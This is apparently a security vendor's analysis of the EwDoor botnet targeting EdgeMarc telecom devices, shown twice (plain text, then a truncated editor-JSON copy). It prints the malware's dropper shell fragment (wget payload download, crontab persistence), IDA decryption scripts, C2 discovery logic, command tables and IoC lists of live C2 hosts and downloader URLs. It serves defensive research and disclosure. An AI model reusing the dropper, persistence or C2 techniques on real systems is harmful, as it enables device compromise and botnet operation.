ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Packer:none
Version: 0.16.0
Ewdoor uses dynamic linking, and although it adopts some anti-reverse techniques, there is not much difficulty in reversing it. In general, the function is relatively simple. When it runs on the infected device, it first collects device information, them performs soem common things such as single instance, persistence and other functions; then decrypts the bt tracker and obtains C2 by accessing the bt tracker; finally reports the collected device information to C2 and executes the commands issued by C2.
Now let’s analyze the implementation of EwDoor one by one from 3 aspects: safeguard, host behavior and network communication.
Safeguards
*
TLS protocol is used at the network level to prevent communication from being intercepted.
*
Sensitive resources are encrypted to make it more difficult to reverse
*
C2 has moved from local to "cloud" and sent by BT tracker to prevent direct extraction by IOC system.
*
Modify the "ABIFLAGS" PHT in ELF to counter qemu-user and some high kernel versions of the linux sandbox. This is a relatively rare countermeasure, which shows that the author of EwDoor is very familiar with the Linux kernel, QEMU, and Edgewater devices.
The following error is generated when actually running a simulation with qemu-user.
write(2, "/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\n", 46)
Host behavior
When Ewdoor runs, it will check the file name and parameters. When the file name is "/var/tmp/.mnt/ewupdate", it means that this is an update operation, and then it will copy itself to ewstat by the command cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat and then start the execution; when there are no start parameters, or the first start is not script, then the /etc/config/ew.conf script is executed via bash; only when the first boot data is script, the processing logic below is executed, which is in a way also a countermeasure to the sandbox/simulator.
Single instance
Ewdoor implements single instance by means of a file lock, as shown below.
We can use /proc/locks to observe the process and corresponding lock files, and then execute the EwDoor, we can see that no new processes are created.
Collecting device information
Ewdoor collects the hostname, NIC address, etc. of the compromised device for use later in the registration process.
Persistence
Ewdoor periodically terminates the netflash process in the system with the following code. netflash command is a maintenance command used to update the system remotely. EwDoor achieves persistence by blocking the maintenance channel and then working with the crontab in the SHELL script.
Network communication
Ewdoor stores the encrypted network related sensitive resources, such as registration information, C2, ports, etc. in the sample. Therefore, when bots want to communicate with C2, they have to decrypt this part of the resources first, then get the C2 either directly or indirectly, and then finally establish communication with the C2 and wait for the execution of the commands issued by the C2.
Decryption
Ewdoor uses 3 tables to describe the encrypted resources, one is the ciphertext table, one is the ciphertext length table and one is the combination table. The ciphertext & ciphertext length table are used to describe the encrypted resource itself, while the combination table is used to describe how the resource is used in combination. The cipher table and cipher length table can decrypt BT domain, BT port and other information, while the combination table can combine BT domain & port into BT tracker.
EwDoor decrypts sensitive information by using the "gstr" function, which is implemented as follows.
After reverse analysis, we wrote the following IDA script, through which we can decrypt all the resource information.
# tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505
pbuf_base=0x00467014
plen_base=0x00455A14
key="холодно в доме папа в тужурке мама дочуркою топит в печурке!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt >=62:
break
There are 62 items of encrypted resources, and the first 22 items after decryption are as follows.
index
Item
index
item
0
OrOib2zCIWa10v2bunJ
11
tracker.birkenwald.de
1
6969
12
ipv6.tracker.zerobytes.xyz
2
53
13
fe.dealclub.de
3
1337
14
wassermann.online
4
80
15
mail.realliferpg.de
5
451
16
movies.zsw.ca
6
2770
17
tracker.blacksparrowmedia.net
7
16661
18
code2chicken.nl
8
2710
19
abufinzio.monocul.us
9
2960
20
tracker.0x.tf
10
3391
21
tracker.altrosky.nl
The combination table built into the sample is shown below.
The combination table is grouped by 2 items and combined in order, i.e., table item 11 is combined with table item 1, table item 12 is combined with table item 7, and so on. The combination of [11, 1] and [12, 7] gives the addresses of 2 BT trackers "tracker.birkenwald.de :6969" and "ipv6.tracker.zerobytes.xyz:16661" respectively.
Getting C2
EwDoor gets C2 in different ways in different versions. In version 0.12.0, the direct method is used, while in 0.15, 0.16, the indirect method is used.
Direct method
After the above decryption process, bots will directly get C2. take sample 5d653e9a5b1093ef8408c3884fbd9217 as an example, through the following IDA script, decrypt all encrypted resources.
# tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217
pbuf_base=0x00467814
plen_base=0x00456100
key="TheMagicalMysteryTourIsComingToTakeYouAway!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt>=18:
break
The decrypted resources are shown in the following table, table entries 1 to 14 are C2s, table entries 15 to 17 are ports.
Index
Item
Index
Item
0
F0JEAADWS4kQFj7iPOQyjA
9
rtmxvd.iunno.se
1
185.10.68.20
10
hhqnyy.zapto.org
2
rtmxvd.iunno.se
11
besthatsite.mooo.com
3
ekgmua.zapto.org
12
b.rtmxvdio.ne
4
boatreviews.xpresit.net
13
b.hatbowlu3hf.ru
5
a.rtmxvdio.net
14
b.hatbowlrtx.su
6
a.hatbowlu3hf.ru
15
13433
7
a.hatbowlrtx.su
16
443
8
45.141.157.217
17
53
Indirect method
The so-called indirect method, that is, after the above decryption process to get the BT tracker, a specific request to the BT tracker has to be made to get C2, this process uses two functions "bt_generate_daily_hash_and_port" and "bt_try_find_good_peers", the former is used to get the C2 port, the latter is used to get the C2 IP.
The implementation of the bt_generate_daily_hash_and_port function is shown below, the specific logic is to format the current time as "%d%m%Y", then splice it with "1HAT2BWL", then calculate the SHA1 value of this string, and then calculate the last 2 bytes of SHA1 to get the port of C2.
In fact, the port calculated in the above step is not the real port value, it needs to add 10. The process is shown in the figure below.
The implementation of the bt_try_find_good_peers function is shown below. The specific logic is to send the above SHA1 value as infohash to the bt tracker, and get the C2:PORT through the Tracker UDP protocol. If the PORT is equal to the above port value, then this IP is the IP of C2.
The following figure shows the network traffic generated on 2021.11.22 as an example.
The red part is the SHA1 value of the string "1HAT2BWL22112021", the last 2 bytes of which are 0x23a2, and the port "0xc6fc" of C2 is obtained by the following code operation.
sha18=0x23
sha19=0xa2
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
port=sha19+((sha18&0xf)<<8)-15536+10
print tohex(port,16)
The SHA1 value calculated above will be sent to BT tracker as infohash, and then compare the server port returned by BT tracker, we can see that there are 3 groups of ports are 0xcff6, choose any group to establish communication.
2d 8d 9b d9 : c6fc -> 45.141.155.217:50940
3e 4d 9c 67 : c6fc -> 62.77.156.103:50940
d4 c0 f1 9e : c6fc -> 212.192.241.158:50940
The actual network connection is as follows:
Communication with C2
When Ewdoor successfully obtains C2, it first establishes a connection through TLS protocol, then sends the registration information to C2, and finally waits for the execution of the command sent by C2. In this process, according to the different versions, the communication protocols with C2 can be divided into the following two major categories.
0.12 version protocol
0x01: TLS connection
The TLS connection itself is not worth talking about, but the interesting point is that in version 0.12, the author of EwDoor made a mistake.
As shown in the figure below, in version 0.12, Ewdoor decrypted C2 by "resolving_and_connect_first" to establish a connection with C2. The values of parameters a1,a2 are taken from res_range, which requires a2>=a1 to perform the process of resolving and connecting. Sample5d653e9a5b1093ef8408c3884fbd9217 has a1=8,a2=7, which creates a bug that causes the C2s numbered 8 to 14 to never be connected, but the Ewdoor authors quickly realized the bug and in sample6c553db88e4cd52a2ed4795ec1710421 and it was fixed.
0x02: Registration
The following code constructs the registration packet, which includes the decrypted string from index 0, version number, device host name, device NIC address and other information.
The actual traffic generated is shown below.
00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|
00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|
00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|
00000030 32 33 34 35 36 0a |23456.|
0x03: Supported commands
After successful registration with C2, Ewdoor waits for the execution of commands issued by C2. The commands supported by version 0.12 are shown in the following table.
cmd
purpose
uf
udp flood
sf
syn flood
cat
exec "cat" cmd
ping
heartbeat
exec
run cmd via bash
exec2
run cmd via popen
pscan
port scan
uname
exec "uname" cmd
update
write "/tmp/.ewupdate"
reverse
reverse shell
download
download file via wget
0.15&0.16 version protocol
0x01: TLS connection
Nothing special here.
0x02: Registration
The following code is used to construct the registration packet. The data includes the decrypted string from index 0, version number, device host name, device NIC address and other information.
The actual traffic generated is shown below.
00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|
00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|
00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|
00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|
0000003d
0x03: Command signature verification
After successfully registration, Ewdoor waits for C2 to issue the instruction, which consists of "len(2 bytes) + Signature(512 bytes) + sessionid(8bytes) + cmd" 4 parts, when receiving the instruction, Ewdoor will verify the instruction by proto_verify_signature function. By doing this Ewdoor ensures that the whole network is fully controllable and not stolen by others.
The pubkey is encrypted and stored in the sample, which is 550 bytes in total, and the real public key can be obtained after the 0x2a
Take the payload received in practice as an example, it can be divided into 4 parts according to the format described above.
The above payload can be easily verified by the pk_verify tool that comes with mbedtls.
>md5 pubkey
9dba72160f5d02ebdc8a78bcb27defa *pubkey
>md5 msg
5a6d3b1018b5e7543ee6f73d6c9df727 *msg
>md5 msg.sig
10acc6e0e0447d900d6d46c66c8f4406 *msg.sig
>cat msg | hexdump -C
00000000 00 00 00 00 00 00 01 07 01
>pk_verify.exe pubkey msg
. Reading public key from 'pubkey'
. Verifying the SHA-256 signature
. OK (the signature is valid)
When the command passes the check, the specific command is just executed, here the command number is 1, which is the heartbeat command.
0x04: Supported commands
The commands supported by version 0.15, 0.16 are shown in the following table.
cmd index
purpose
1
heartbeat
2
port scan
4
exec "uname" cmd
5
download file via wget
6
update, write "/var/tmp/.ewupdate"
7
run cmd via bash
8
run cmd via popen
9
ddos attack
Miscellaneous
*
The author of Ewdoor is a little bit of a bug fixer!
It took the author only 16 minutes to fix the aforementioned C2 bug in version 0.12.
eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression
fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression
*
From The xor keys to actor profile.
The first used key "TheMagicalMysteryTourIsComingToTakeYouAway!", is the from The Beatles.
The second used key "холодно в доме папа в тужурке мама дочуркою топит в печурке!" According to google translate, it is "It’s cold in the house, dad in a jacket, mom drowns her daughter in the stove!", kinda creepy!
*
The note from the author
After finding our honeypot IP in November, he called us out in the paylaod, as can be seen from below.
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IoC
C2
185.10.68.20
rtmxvd.iunno.se
ekgmua.zapto.org
boatreviews.xpresit.net
a.rtmxvdio.net
a.hatbowlu3hf.ru
a.hatbowlrtx.su
45.141.157.217
rtmxvd.iunno.se
hhqnyy.zapto.org
besthatsite.mooo.com
b.rtmxvdio.net
b.hatbowlu3hf.ru
b.hatbowlrtx.su
port: 53， 443，13433
Downloader
http://185[.10.68.20:1234/ew-new.sh
http://185[.10.68.20:1234/ew.sh
http://185[.10.68.20:1234/prod/mips
http://185[.10.68.20:1234/ramdisk.img.gz
http://212[.193.30.209/61501e55/mips
http://212[.193.30.209/859b6cfa.sh
Sample MD5
007c28d9a0ccfb10c478689fd63e0de0
128331f1c808ee385375dd54d0609ebc
46c18a8e93a863053952985a39bd7d63
4f0841ac08a27d8b3d56cbd03fb68ad8
5c4390e1668856cc7f72499a72f935d6
62bc8899a353921ac685cabb63de97b3
67ccb3cf1f4f57f5a0ded4d20bc91d73
7d4937e27d0fd75dd6159ffe53ebb505
84b3df62ed45bea57d0dd85e80f0dc07
8794d23cad330de803294a2a1adb128b
abaed830fe09e92ee434236d3db01e08
b81ade4f18c2df58adef301f401e8a02
ca6eb890853434ab9a0f8cdbab0965ea
ddf96434bdb7b449ddcc925e6a5b3095
eef0035f971622cc5f48e164ca28a95f
fbbacfb20e487265c7fdb30817717f26
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn October 27, 2021, our Botmon system ided an attacker attacking Edgewater Networks' devices via CVE-2017-6079 with a relatively unique ``mount file system command`` in its payload, which had our attention, and after analysis, we confirmed that this was a brand new botnet, and based on it's targeting of Edgewater producers and its Backdoor feature, we named it **EwDoor**.\n\nThe initial version of EwDoor used **a multi-C2 redundancy mechanism**, and we registered the second C2 domain, ``iunno.se``, which gave us the opportunity to measure its size. Unfortunately EwDoor reconfigured its communication model after experiencing problems with the main C2 network failure, using BT tracker to downlink C2s, and in turn we lost sight of EwDoor. However, during this brief observation, we confirmed that the attacked devices were ``EdgeMarc Enterprise Session Border Controller``, belonging to the **telecom company AT&T**, and that all 5.7k active victims that we saw durning the short time window were **all geographically located in the US**.\n\nSo far, the EwDoor in our view has undergone 3 versions of updates, and its main functions can be summarized into 2 main categories of DDoS attacks and Backdoor. Based on the attacked devices are telephone communication related, we presume that its **main purpose is DDoS attacks, and gathering of sensitive information**, such as call logs.\n\nGiven the size, activity of EwDoor, and sensitivity of the infected devices, we decided to write this paper to share our findings with the community.\n\n## Timeline\n- October 27, 2021, first capture of EwDoor, version number 0.12.0, main features are DDoS Attack, File Manager, Reverse Shell, Port Scan, etc.\n\n- November 8, 2021, EwDoor was updated to version number 0.15.0, moving C2 from local to cloud, using BT Trackers.\n\n- November 15, 2021, EwDoor updated to version 0.16.0, minor update, adding sandbox confrontation features.\n\n- November 20, 2021, EwDoor was updated version 0.16.0, minor update, adding more BT Trackers.\n\n\n\n\n## EwDoor Overview\nWe have captured a total of 3 versions of EwDoor, with version 0.16.0 as a blueprint, we can characterize EwDoor as, a botnet that sends C2 down through BT tracker, uses TLS to protect traffic, and mainly profits by means of DDoS attacks and sensitive data theft, which currently propagates through the Nday vulnerability CVE-2017-6079, mainly targeting EdgeMarc Enterprise Session Border Controller devices.\n\nCurrently supports 6 major functions.\n\n- Self updating\n- Port scanning\n- File management\n- DDoS attack\n- Reverse SHELL\n- Execute arbitrary commands\n\n\nIts basic loigic is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_basic-1.png\" width=\"860px\" />\n\n## Size\nBy grabbing the author's unregistered CC domain name, we were able to measure the size of this Botnet for a little while, when the active Bot IP was around 5.7k. The AS numbers of the infected device IPs were all ```AS7018|AT&T_Services,_Inc. (AT&T, an American telecom company)```. By back-checking the SSl certificates used by these devices, we found that there were about 100k IPs using the same SSl certificate. We are not sure how many devices corresponding to these IPs could be infected, but we can speculate that as they belong to the same class of devices the possible impact is real.\n\n\n## Shell script analysis\nEwDoor's SHELL script is quite long, we extracted the key parts for analysis.\n```\nsetup_ramdisk() {\n dd if=/dev/zero of=$RAMDISK bs=4096k count=1\n gunzip -c $IMAGE > $RAMDISK\n mkdir -p $MOUNT\n mount $RAMDISK $MOUNT\n}\n\ndownload_update() {\n killall -9 ewstat\n sleep $[ ( $RANDOM % 10 ) + 1 ]\n rm -f $IMAGE\n rm -f $EW_BIN\n wget -O $IMAGE $1\n\n grep \"$EW_BIN\" /etc/config/crontab >/dev/null 2>&1\n\n # is it not already in the crontab?\n if [ $? != 0 ]; then\n echo \"* * * * * root $EW_BIN >/dev/null 2>&1 &\" >> /etc/config/crontab\n fi\n\n sleep 1\n\n cfg_commit\n}\n```\n\nIt can be seen that the main functions of the SHELL script are\n\n- Download and execute EwDoor samples\n- Set up Crontab for persistence\n\nIt is also worth mentioning that EwDoor samples are stored in the form of gzip on the download server, which to a certain extent escapes the security detection for binary files; the authors of earlier versions made the sample files into ```Linux rev 1.0 ext2 filesystem``` files and then used mount to mount the files on the system, which is probably another trick to protect itself.\n\n## Sample Analysis\nThe latest version of 0.16 was chosen as the main object of analysis, and its basic information is shown below.\n```\nMD5:7d4937e27d0fd75dd6159ffe53ebb505\nELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\nPacker:none\nVersion: 0.16.0\n```\nEwdoor uses dynamic linking, and although it adopts some anti-reverse techniques, there is not much difficulty in reversing it. In general, the function is relatively simple. When it runs on the infected device, it first collects device information, them performs soem common things such as single instance, persistence and other functions; then decrypts the bt tracker and obtains C2 by accessing the bt tracker; finally reports the collected device information to C2 and executes the commands issued by C2. \n\nNow let’s analyze the implementation of EwDoor one by one from 3 aspects: safeguard, host behavior and network communication.\n\n## Safeguards\n- TLS protocol is used at the network level to prevent communication from being intercepted.\n\n- Sensitive resources are encrypted to make it more difficult to reverse\n\n- C2 has moved from local to \"cloud\" and sent by BT tracker to prevent direct extraction by IOC system.\n\n- **Modify the \"ABIFLAGS\" PHT** in ELF to counter qemu-user and some high kernel versions of the linux sandbox. This is a relatively rare countermeasure, which shows that the author of EwDoor is very familiar with the Linux kernel, QEMU, and Edgewater devices.\n\nThe following error is generated when actually running a simulation with qemu-user.\n ```\n write(2, \"/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\\n\", 46)\n ```\n\n\n## Host behavior\nWhen Ewdoor runs, it will check the file name and parameters. When the file name is \"/var/tmp/.mnt/ewupdate\", it means that this is an update operation, and then it will copy itself to ewstat by the command ``cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat`` and then start the execution; when there are no start parameters, or the first start is not script, then the ``/etc/config/ew.conf`` script is executed via bash; only when the first boot data is **script**, the processing logic below is executed, which is in a way also a countermeasure to the sandbox/simulator.\n\n### Single instance\nEwdoor implements single instance by means of a file lock, as shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_single.png\" width=\"860px\" />\n\nWe can use ``/proc/locks`` to observe the process and corresponding lock files, and then execute the EwDoor, we can see that no new processes are created.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_singemp.png\" width=\"860px\" />\n\n### Collecting device information\nEwdoor collects the hostname, NIC address, etc. of the compromised device for use later in the registration process.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_host.png\" width=\"860px\" />\n\n### Persistence\nEwdoor periodically terminates the netflash process in the system with the following code. ``netflash`` command is a maintenance command used to update the system remotely. EwDoor achieves persistence by blocking the maintenance channel and then working with the crontab in the SHELL script.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_persist.png\" width=\"860px\" />\n\n## Network communication\nEwdoor stores the encrypted network related sensitive resources, such as registration information, C2, ports, etc. in the sample. Therefore, when bots want to communicate with C2, they have to decrypt this part of the resources first, then get the C2 either directly or indirectly, and then finally establish communication with the C2 and wait for the execution of the commands issued by the C2.\n\n### Decryption\nEwdoor uses 3 tables to describe the encrypted resources, one is the ciphertext table, one is the ciphertext length table and one is the combination table. The ciphertext & ciphertext length table are used to describe the encrypted resource itself, while the combination table is used to describe how the resource is used in combination. The cipher table and cipher length table can decrypt BT domain, BT port and other information, while the combination table can combine BT domain & port into BT tracker.\n\nEwDoor decrypts sensitive information by using the \"gstr\" function, which is implemented as follows.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_gstr.png\" width=\"860px\" />\n\nAfter reverse analysis, we wrote the following IDA script, through which we can decrypt all the resource information.\n```\n# tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505\n\npbuf_base=0x00467014\nplen_base=0x00455A14\n\nkey=\"холодно в доме папа в тужурке мама дочуркою топит в печурке!\"\ncnt=0\n\nwhile idc.get_wide_dword(plen_base)!=0:\n plain=''\n blen=idc.get_wide_dword(plen_base)\n pbuf=idc.get_wide_dword(pbuf_base)\n buf=idc.get_bytes(pbuf,blen)\n for i in range(blen):\n tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))\n plain+=tmp\n \n print plain\n plen_base+=4\n pbuf_base+=4\n cnt+=1\n if cnt >=62:\n break\n```\n\nThere are 62 items of encrypted resources, and the first 22 items after decryption are as follows.\n| index | Item | index | item |\n| ----- | ------------------- | ----- | ----------------------------- |\n| 0 | OrOib2zCIWa10v2bunJ | 11 | tracker.birkenwald.de |\n| 1 | 6969 | 12 | ipv6.tracker.zerobytes.xyz |\n| 2 | 53 | 13 | fe.dealclub.de |\n| 3 | 1337 | 14 | wassermann.online |\n| 4 | 80 | 15 | mail.realliferpg.de |\n| 5 | 451 | 16 | movies.zsw.ca |\n| 6 | 2770 | 17 | tracker.blacksparrowmedia.net |\n| 7 | 16661 | 18 | code2chicken.nl |\n| 8 | 2710 | 19 | abufinzio.monocul.us |\n| 9 | 2960 | 20 | tracker.0x.tf |\n| 10 | 3391 | 21 | tracker.altrosky.nl |\n\n\nThe combination table built into the sample is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_restab.png\" width=\"860px\" />\n\nThe combination table is grouped by 2 items and combined in order, i.e., table item 11 is combined with table item 1, table item 12 is combined with table item 7, and so on. The combination of [11, 1] and [12, 7] gives the addresses of 2 BT trackers \"tracker.birkenwald.de :6969\" and \"ipv6.tracker.zerobytes.xyz:16661\" respectively.\n\n## Getting C2\nEwDoor gets C2 in different ways in different versions. In version 0.12.0, the direct method is used, while in 0.15, 0.16, the indirect method is used.\n\n### Direct method\nAfter the above decryption process, bots will directly get C2. take sample ``5d653e9a5b1093ef8408c3884fbd9217`` as an example, through the following IDA script, decrypt all encrypted resources.\n```\n# tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217\npbuf_base=0x00467814\nplen_base=0x00456100\n\nkey=\"TheMagicalMysteryTourIsComingToTakeYouAway!\"\ncnt=0\nwhile idc.get_wide_dword(plen_base)!=0:\n plain=''\n blen=idc.get_wide_dword(plen_base)\n pbuf=idc.get_wide_dword(pbuf_base)\n buf=idc.get_bytes(pbuf,blen)\n for i in range(blen):\n tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))\n plain+=tmp\n \n print plain\n plen_base+=4\n pbuf_base+=4\n cnt+=1\n if cnt>=18:\n break\n```\nThe decrypted resources are shown in the following table, table entries 1 to 14 are C2s, table entries 15 to 17 are ports.\n| Index | Item | Index | Item |\n| ----- | ----------------------- | ----- | -------------------- |\n| 0 | F0JEAADWS4kQFj7iPOQyjA | 9 | rtmxvd.iunno.se |\n| 1 | 185.10.68.20 | 10 | hhqnyy.zapto.org |\n| 2 | rtmxvd.iunno.se | 11 | besthatsite.mooo.com |\n| 3 | ekgmua.zapto.org | 12 | b.rtmxvdio.ne |\n| 4 | boatreviews.xpresit.net | 13 | b.hatbowlu3hf.ru |\n| 5 | a.rtmxvdio.net | 14 | b.hatbowlrtx.su |\n| 6 | a.hatbowlu3hf.ru | 15 | 13433 |\n| 7 | a.hatbowlrtx.su | 16 | 443 |\n| 8 | 45.141.157.217 | 17 | 53 |\n\n### Indirect method\nThe so-called indirect method, that is, after the above decryption process to get the BT tracker, a specific request to the BT tracker has to be made to get C2, this process uses two functions \"bt_generate_daily_hash_and_port\" and \"bt_try_find_good_peers\", the former is used to get the C2 port, the latter is used to get the C2 IP.\n\nThe implementation of the ``bt_generate_daily_hash_and_port`` function is shown below, the specific logic is to format the current time as \"%d%m%Y\", then splice it with \"1HAT2BWL\", then calculate the SHA1 value of this string, and then calculate the last 2 bytes of SHA1 to get the port of C2.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_bthash.png\" width=\"860px\" />\n\nIn fact, the port calculated in the above step is not the real port value, it needs to add 10. The process is shown in the figure below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_port.png\" width=\"860px\" />\n\nThe implementation of the ``bt_try_find_good_peers`` function is shown below. The specific logic is to send the above SHA1 value as infohash to the bt tracker, and get the C2:PORT through the Tracker UDP protocol. If the PORT is equal to the above port value, then this IP is the IP of C2.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_bt.png\" width=\"860px\" />\n\nThe following figure shows the network traffic generated on 2021.11.22 as an example.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_udp.png\" width=\"860px\" />\n\nThe red part is the SHA1 value of the string \"1HAT2BWL22112021\", the last 2 bytes of which are 0x23a2, and the port \"0xc6fc\" of C2 is obtained by the following code operation.\n```\nsha18=0x23\nsha19=0xa2\n\ndef tohex(val, nbits):\n return hex((val + (1 << nbits)) % (1 << nbits))\nport=sha19+((sha18&0xf)<<8)-15536+10\n\nprint tohex(port,16)\n```\n\nThe SHA1 value calculated above will be sent to BT tracker as infohash, and then compare the server port returned by BT tracker, we can see that there are 3 groups of ports are 0xcff6, choose any group to establish communication.\n```\n2d 8d 9b d9 : c6fc -> 45.141.155.217:50940\n3e 4d 9c 67 : c6fc -> 62.77.156.103:50940\nd4 c0 f1 9e : c6fc -> 212.192.241.158:50940\n```\n\nThe actual network connection is as follows:\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_net.png\" width=\"860px\" />\n\n## Communication with C2\nWhen Ewdoor successfully obtains C2, it first establishes a connection through TLS protocol, then sends the registration information to C2, and finally waits for the execution of the command sent by C2. In this process, according to the different versions, the communication protocols with C2 can be divided into the following two major categories.\n\n<p><center><b><font face =\"BOLD\" size=10>0.12 version protocol</font> </b></center></p>\n\n### 0x01: TLS connection\nThe TLS connection itself is not worth talking about, but the interesting point is that in version 0.12, the author of EwDoor **made a mistake**. \n\nAs shown in the figure below, in version 0.12, Ewdoor decrypted C2 by \"resolving_and_connect_first\" to establish a connection with C2. The values of parameters a1,a2 are taken from ``res_range``, which requires a2>=a1 to perform the process of resolving and connecting. Sample``5d653e9a5b1093ef8408c3884fbd9217`` has a1=8,a2=7, which creates a bug that causes the C2s numbered 8 to 14 to never be connected, but the Ewdoor authors quickly realized the bug and in sample``6c553db88e4cd52a2ed4795ec1710421`` and it was fixed.\n\n <img src=\"__GHOST_URL__/content/images/2021/11/ew_c2bug.png\" width=\"860px\" />\n\n### 0x02: Registration\n \n \nThe following code constructs the registration packet, which includes the decrypted string from index 0, version number, device host name, device NIC address and other information.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_regv1.png\" width=\"860px\" />\n\nThe actual traffic generated is shown below.\n\n ```\n 00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|\n 00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|\n 00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|\n 00000030 32 33 34 35 36 0a |23456.|\n ```\n\n \n### 0x03: Supported commands\n After successful registration with C2, Ewdoor waits for the execution of commands issued by C2. The commands supported by version 0.12 are shown in the following table.\n \n\n | cmd | purpose |\n | -------- | ----------------------- |\n | uf | udp flood |\n | sf | syn flood |\n | cat | exec \"cat\" cmd |\n | ping | heartbeat |\n | exec | run cmd via bash |\n | exec2 | run cmd via popen |\n | pscan | port scan |\n | uname | exec \"uname\" cmd |\n | update | write \"/tmp/.ewupdate\" |\n | reverse | reverse shell |\n | download | download file via wget |\n\n\n<p><center><b><font face =\"BOLD\" size=10>0.15&0.16 version protocol</font></b> </center></p>\n\n### 0x01: TLS connection\n\nNothing special here.\n\n### 0x02: Registration\nThe following code is used to construct the registration packet. The data includes the decrypted string from index 0, version number, device host name, device NIC address and other information.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_regv2.png\" width=\"860px\" />\n\nThe actual traffic generated is shown below.\n\n ```\n 00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|\n 00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|\n 00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|\n 00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|\n 0000003d\n ```\n \n \n### 0x03: Command signature verification\n\nAfter successfully registration, Ewdoor waits for C2 to issue the instruction, which consists of \"``len(2 bytes) + Signature(512 bytes) + sessionid(8bytes) + cmd``\" 4 parts, when receiving the instruction, Ewdoor will verify the instruction by proto_verify_signature function. By doing this Ewdoor ensures that the whole network is fully controllable and not stolen by others.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_sig.png\" width=\"860px\" />\n\nThe pubkey is encrypted and stored in the sample, which is 550 bytes in total, and the real public key can be obtained after the 0x2a \n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_key.png\" width=\"860px\" />\n\nTake the payload received in practice as an example, it can be divided into 4 parts according to the format described above.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_payload.png\" width=\"860px\" />\n\n\nThe above payload can be easily verified by the pk_verify tool that comes with mbedtls.\n\n ```\n >md5 pubkey\n 9dba72160f5d02ebdc8a78bcb27defa *pubkey\n >md5 msg\n 5a6d3b1018b5e7543ee6f73d6c9df727 *msg\n >md5 msg.sig\n 10acc6e0e0447d900d6d46c66c8f4406 *msg.sig\n >cat msg | hexdump -C\n 00000000 00 00 00 00 00 00 01 07 01\n >pk_verify.exe pubkey msg\n . Reading public key from 'pubkey'\n . Verifying the SHA-256 signature\n . OK (the signature is valid)\n ```\nWhen the command passes the check, the specific command is just executed, here the command number is 1, which is the heartbeat command.\n\n### 0x04: Supported commands\nThe commands supported by version 0.15, 0.16 are shown in the following table.\n\n | cmd index | purpose |\n | --------- | ---------------------------------- |\n | 1 